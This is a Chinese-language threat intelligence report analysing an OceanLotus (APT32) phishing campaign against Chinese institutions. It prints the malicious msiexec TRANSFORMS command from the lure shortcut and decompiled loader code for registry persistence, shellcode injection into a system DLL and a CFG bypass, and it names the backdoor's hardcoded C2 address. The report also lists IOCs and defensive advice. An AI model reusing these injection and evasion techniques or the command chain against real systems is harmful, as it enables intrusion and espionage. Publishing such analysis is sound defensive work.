2025年5月:OceanLotus组织针对中国的攻击事件分析报告

概述

  瑞星威胁情报平台近期发现针对国内用户的定向攻击活动,目标主要涉及政府及教育机构等关键领域。攻击者利用MSI TRANSFORMS技术的新手法,通过在MST文件中植入恶意载荷,操控MSI安装程序的执行流程,在安装过程中加载并运行恶意代码。为提升隐蔽性,攻击者采用多阶段加载机制,通过释放和执行内嵌shellcode的恶意代码,在内存中运行木马,实现对目标主机的信息窃取和远程控制。溯源分析显示,该攻击活动与OceanLotus组织高度相关,表明其攻击能力显著增强,因此需高度关注并加强防护。

  OceanLotus海莲花)又名APT32SeaLotus, 是一个具有东南亚国家背景的APT组织,其攻击活动最早可追溯到2012年。自2015年首次披露以来,该组织持续活跃至今,后续针对中国境内的攻击活动扩展到几乎所有重要机构,包括政府部门、科研院所、境内高校和金融投资机构等。

ATT&CK技术矩阵

战术 技术 具体行为
TA0001-初始访问 T1566-网络钓鱼 向目标用户投递钓鱼邮件
TA0002-执行 T1204-用户执行 诱骗用户执行恶意附件
TA0003-持久化 T1547-启动或登陆自动执行 创建注册表自启动项实现持久化
TA0005-防御规避 T1027-混淆过的文件或信息 内存中执行的shellcode编码后内嵌在恶意载荷
TA0005-防御规避 T1055-进程注入 使用进程掏空技术将shellcode注入到系统进程中执行
TA0007-环境发现 T1082-收集系统信息 后门获取入侵主机的系统和硬件信息
TA0007-环境发现 T1016-收集系统网络配置 后门可以枚举文件和目录并将信息回传服务器
TA0007-环境发现 T1033-探测系统所有者/用户 后门会获取当前会话的用户名并回传至服务器
TA0007-环境发现 T1124-获取系统时间 后门可以枚举文件和目录并将信息回传服务器
TA0011-指挥与控制 T1573-加密通道 后门与远程服务器进行加密通信
TA0010-自动外传 T1041-通过C2通道外传 后门使用C2通道回传采集的文件数据

事件详情

  攻击者冒充官方机构,以金砖国家新工业革命伙伴关系专家研讨会为名,向国内目标单位发送钓鱼邮件,诱导用户运行恶意附件。附件包括诱饵文档参会回执.docx及伪装为PDF的镜像文件MIIT-CIETC-IIE-函.pdf .IMG,后者通过在文件名中插入大量空格增强欺骗性,内含快捷方式及恶意安装文件等载荷。

image

  快捷方式MIIT-CIETC-IIE-函.pdf.lnk伪装为PDF文档,诱导用户点击。实际调用msiexec.exe静默安装WindowsPCHealthCheckSetup.msi,并通过TRANSFORMS参数加载文件FActX.mstMST转换文件是用于修改或定制MSI安装包的配置文件,常用于调整安装过程中的设置、文件路径或注册表项等。然而,在网络安全领域,MST文件常被攻击者滥用,作为传递恶意载荷的载体。此次事件中攻击者就将恶意载荷Transforms.dll放置于转换文件FActX.mst中,在后续安装过程中被执行,完成以下操作:

  • 释放诱饵文档以迷惑用户;
  • 创建注册表自启动项以实现持久化;
  • 释放恶意文件tbs.dll,通过安装包的合法程序PCHealthCheck.exe侧加载运行。

随后,tbs.dll分阶段执行内嵌shellcode,在内存中加载定制木马,建立C2通信,实现数据窃取和持久化控制。

  钓鱼邮件内容。

image

  诱饵文档内容。

image

攻击流程

image

样本分析

MIIT-CIETC-IIE-函.pdf.lnk分析

字段 内容
文件名 MIIT-CIETC-IIE-函.pdf.lnk
文件大小 724 B (724 bytes)
文件MD5 a792f3de7f49f453576bd8743c626c78
文件类型 LNK
主要功能 安装带有MST转换文件的MSI程序

  伪装为PDF的快捷方式MIIT-CIETC-IIE-函.pdf.lnk执行命令msiexec /qn /i WindowsPCHealthCheckSetup.msi TRANSFORMS=FActX.mst,调用系统程序msiexec.exe静默安装合法WindowsPCHealthCheckSetup.msi,并通过TRANSFORMS参数加载FActX.mst。攻击者利用MSI TRANSFORMS技术,使FActX.mst中的恶意载荷Transforms.dll可以在合法安装流程中隐蔽运行。

Transforms.dll分析

字段 内容
文件名 Transforms.dll
文件大小 1.84 MB (1932288 bytes)
文件MD5 6725c332b0fe684fbc94df399ab726bc
病毒名 Dropper.Agent/x64!1.12DE7
文件类型 DLL
主要功能 释放恶意DLL并利用白加黑技术加载执行

  该样本的主要功能分布于两个导出函数中,分别为LogSetupBeforeInstallLogSetupAfterInstall,用来控制MSI安装过程中的流程。其中函数LogSetupBeforeInstall负责释放诱饵PDF文档,用以迷惑用户。而另一个函数LogSetupAfterInstall则负责释放恶意文件tbs.dll,并调用白文件侧加载执行,最后通过创建注册表启动项实现本地持久化。

  创建注册表项实现持久化。

strcpy(v94, "PCHealthCheck");                 // 启动项名称
v93 = 13;
String = (wchar_t *)v91;
v4 = (char *)malloc_18005E3A0(0x40u);
strcpy(v4, "HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
String = (wchar_t *)v4;
v91[0] = 63;
v90 = 63;
sub_180001740((__int64)&String, (unsigned __int64 *)&v92, 1u, &Str);// 创建注册表自启动项

tbs.dll分析

字段 内容
文件名 tbs.dll
文件大小 1.05 MB (1099776 bytes)
文件MD5 963448d96d81138413f192dd80558d76
病毒名 Trojan.Kryptik/x64!1.12E3F
文件类型 DLL
主要功能 执行内嵌的shellcode

  该样本为本次事件中最终释放的恶意载荷,负责分阶段执行内嵌的shellcode。为规避内存检测机制,该样本通过映射系统库文件,将内嵌的shellcode复制到其内存空间中执行,提高了执行权限及隐蔽性。

  在内存中加载执行内嵌的shellcode

strcpy(&v54[0].m128i_i8[8], "xpsservices.dll");              // 用于执行shellcode的系统dll
dll_name = &v54[0].m128i_u64[1];
v54[0].m128i_i64[0] = 15;
v6 = sub_7FFF17A40F50(&dll_name, (__int64)v49, (void **)&v39);// 将shellcode复制到xpsservices.dll的.text段中,并修改内存属性为可执行
if ( dll_name != &v54[0].m128i_u64[1] )
j_j_free_0(dll_name);
if ( v49[0] != v50 )
j_j_free_0(v49[0]);
if ( v6 )
{
    v7 = 0;
    for ( i = 0; v7 < v41; i = v7 )
    {
        sub_7FFF17A37710((__int64)v39 + i);       // 调用函SetProcessValidCallTargets将shellcode中的函数标记为合法调用目标,否则相关函数执行时,系统会触发异常。
        v7 += 16;
    }
    v39(i);                                      // 跳转执行shellcode
    goto LABEL_25;                               // 释放内存空间
 }                                 

  加载系统程序xpsservices.dll,该程序的text段内存空间用于存放下阶段执行的shellcode

v29 = v16_LoadLibrary(*a1, 0, 1);             // 加载xpsservices.dll,用于执行shellcode
v40 = v29;
if ( !v29 )
    return 0;
v30 = v29 + *(int *)(v29 + 0x3C);
v31 = *(_DWORD *)v30 == 'EP';
v32 = *(unsigned __int16 *)(v30 + 0x14);
strcpy(Str2, ".tex_");                        // 字符串".tex_"用于定位dll的.text段内存地址
if ( !v31 )
    return 0;
v33 = *(unsigned __int16 *)(v30 + 6);
if ( !(_WORD)v33 )
    return 0;
v34 = v30 + v32 + 0x18;
v35 = v34 + 40LL * (unsigned int)(v33 - 1) + 0x28;
while ( 1 )
{
    v24 = strcmp((const char *)v34, Str2);      // 查找xpsservices.dll的.text字符串
    if ( !v24 )
    {
        v36 = *(_QWORD *)(a2 + 8);
        if ( v36 < *(unsigned int *)(v34 + 8) && v36 < *(unsigned int *)(v30 + 0x50) )
        break;
    }
    v34 += 0x28;
    if ( v35 == v34 )
        return 0;
}
v37 = *(unsigned int *)(v34 + 0xC);
v43[0] = *(_QWORD *)(a2 + 8);
*a3 = (void *)(v37 + v40);
CurrentProcess = GetCurrentProcess();
if ( v28_ZwProtectVirtualMemory(CurrentProcess, a3, v43, 4, &v41) >= 0 )// 修改内存保护属性为0x4,表示可写
{
memcpy(*a3, *(const void **)a2, *(_QWORD *)(a2 + 8));// 将shellcode复制到上述修改属性的内存中
v39 = GetCurrentProcess();
return v28_ZwProtectVirtualMemory(v39, a3, v43, 0x40, &v41) >= 0;// 修改内存属性为0x40,表示可读写、可执行
}

  调用函数SetProcessValidCallTargetsshellcode所在的内存地址标记为合法的调用目标,以实现CFG绕过。

ZwQueryVirtualMemory_func = (unsigned int (__fastcall *)(__int64, __int64, _QWORD, __int64 *, __int64, _QWORD))GetProcAddress_7FFF052B32E0(v20, 3216240092LL);
v23_GetCurrentProcess = (__int64 (*)(void))GetProcAddress_7FFF052B32E0(v11, 1357659462);
v24_SetProcessValidCallTargets = (__int64 (__fastcall *)(__int64, __int64, __int64, __int64, __int64 *))GetProcAddress_7FFF052B32E0(v11, 0x51047AF5);
if ( v23_GetCurrentProcess == 0 || ZwQueryVirtualMemory_func == 0 )
    return 0;
if ( !v24_SetProcessValidCallTargets )
    return 0;
v29 = 0;
v30 = 0;
v25 = v23_GetCurrentProcess();
if ( ZwQueryVirtualMemory_func(v25, a1, 0, v31, 0x30, 0) || v32 != 0x1000 || v33 != 0x1000000 )
    return 0;
v30 = 1;
v26 = v31[0];
v29 = a1 - v31[0];
v27 = v31[3];
v28 = v23_GetCurrentProcess();
return v24_SetProcessValidCallTargets(v28, v26, v27, 1, &v29);// 将shellcode地址标记为合法的调用目标

中间shellcode分析

字段 内容
文件大小 780 KB (799,152 bytes)
文件MD5 36ccfc5e629cfc83c45c43807a79cd4b
病毒名 Trojan.Kryptik/x64!1.12E3F
文件类型 shellcode
主要功能 解码并执行内嵌的shellcode木马

  本次事件中,攻击者使用多阶段加载的方式在内存中执行shellcode,该段shellcode由恶意载荷tbs.dll在内存中解码后执行,主要负责解码自身内嵌的shellcode并执行。

image

image

shellcode后门分析

字段 内容
文件大小 1.82 MB (1,912,832 bytes)
文件MD5 28ee71e370e61ac4925dca3edb8658a9
病毒名 Backdoor.[OceanLotus]Agent!1.12E32
文件类型 shellcode
主要功能 与C2服务器通信

  这是由OceanLotus组织使用rust语言编写的定制木马,本次攻击事件中被彻底shellcode化,从而在内存中动态执行以提高隐蔽性。

  C2地址及User-Agent信息以硬编码形式存储于木马中,同时包含本地环境代理字符串。

seg000:000001BBD7C5B431 48 8D 15 90 9C 07 00                    lea     rdx, aHttp4637124147 ; "http://46.37.124.147:80/api/products/v1"...
seg000:000001BBD7C5B438 48 8D 0D 21 35 1A 00                    lea     rcx, qword_1BBD7DFE960
seg000:000001BBD7C5B43F 48 89 E5                                mov     rbp, rsp
seg000:000001BBD7C5B442 41 57                                   push    r15
seg000:000001BBD7C5B444 41 56                                   push    r14
seg000:000001BBD7C5B446 41 55                                   push    r13
seg000:000001BBD7C5B448 45 31 ED                                xor     r13d, r13d
seg000:000001BBD7C5B44B 41 54                                   push    r12
seg000:000001BBD7C5B44D 57                                      push    rdi
seg000:000001BBD7C5B44E 56                                      push    rsi
seg000:000001BBD7C5B44F 53                                      push    rbx
seg000:000001BBD7C5B450 48 83 EC 10                             sub     rsp, 10h
seg000:000001BBD7C5B454 48 83 E4 F0                             and     rsp, 0FFFFFFFFFFFFFFF0h
seg000:000001BBD7C5B458 48 81 EC B0 02 00 00                    sub     rsp, 2B0h
seg000:000001BBD7C5B45F 0F 11 B4 24 B0 02 00 00                 movups  xmmword ptr [rsp+2B0h], xmm6
seg000:000001BBD7C5B467 48 8D BC 24 90 00 00 00                 lea     rdi, [rsp+90h]
seg000:000001BBD7C5B46F 4C 8D A4 24 80 00 00 00                 lea     r12, [rsp+80h]
seg000:000001BBD7C5B477 E8 24 10 13 00                          call    copy_str_1BBD7D8C4A0
seg000:000001BBD7C5B47C 48 8D 0D DD B3 07 00                    lea     rcx, qword_1BBD7CD6850+10h
seg000:000001BBD7C5B483 E8 68 F2 11 00                          call    strlen_1BBD7D7A6F0
seg000:000001BBD7C5B488 48 8D 15 91 9C 07 00                    lea     rdx, aMozilla50Windo ; "Mozilla/5.0 (Windows NT 10.0; Win64; x6"...
seg000:000001BBD7C5B48F 48 8D 0D 0A E5 17 00                    lea     rcx, qword_1BBD7DD99A0
seg000:000001BBD7C5B496 E8 05 10 13 00                          call    copy_str_1BBD7D8C4A0
seg000:000001BBD7C5B49B 48 8D 0D BE 94 11 00                    lea     rcx, loc_1BBD7D74960
seg000:000001BBD7C5B4A2 E8 49 F2 11 00                          call    strlen_1BBD7D7A6F0
seg000:000001BBD7C5B4A7 48 8D 8C 24 00 01 00 00                 lea     rcx, [rsp+100h]
seg000:000001BBD7C5B4AF 48 8D 15 E8 9C 07 00                    lea     rdx, aHttpProxy ; "%HTTP_PROXY%"
seg000:000001BBD7C5B4B6 E8 E5 0F 13 00                          call    copy_str_1BBD7D8C4A0

  根据上述C2域名解析IP地址。

image

攻击过程可视化(EDR)

  瑞星EDR记录主机程序活动并划分危险等级,其威胁可视化功能可还原攻击链,清晰展示关联关系,尤其突出恶意载荷执行阶段。例如,快捷方式MIIT-CIETC-IIE-函.pdf.lnk点击后运行msiexec.exe命令,静默安装并释放诱饵PDF文档,同时通过PCHealthCheck.exe侧加载tbs.dll,随后在内存中执行shellcode木马,与C2服务器建立连接,所有行为均被EDR完整记录。

image

image

  另外,瑞星EDR系统还引入了AI分析功能,对程序执行记录进行自主分析,并得出完整且准确的报告。

image

总结

  此次攻击手法隐蔽性强,结合了社会工程学、文件伪装、MST文件滥用及内存多阶段加载等技术,进一步体现了OceanLotus组织攻击能力的升级,需引起高度警惕。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本

    image

  4. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    2DA7798E8F7FBEAFEFBD297E3BE5B21B
    6725C332B0FE684FBC94DF399AB726BC
    963448D96D81138413F192DD80558D76
    36CCFC5E629CFC83C45C43807A79CD4B
    28EE71E370E61AC4925DCA3EDB8658A9
  • IPV4

    46.37.124.147
  • 瑞星病毒名

    Backdoor.[OceanLotus]Agent!1.12E32

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *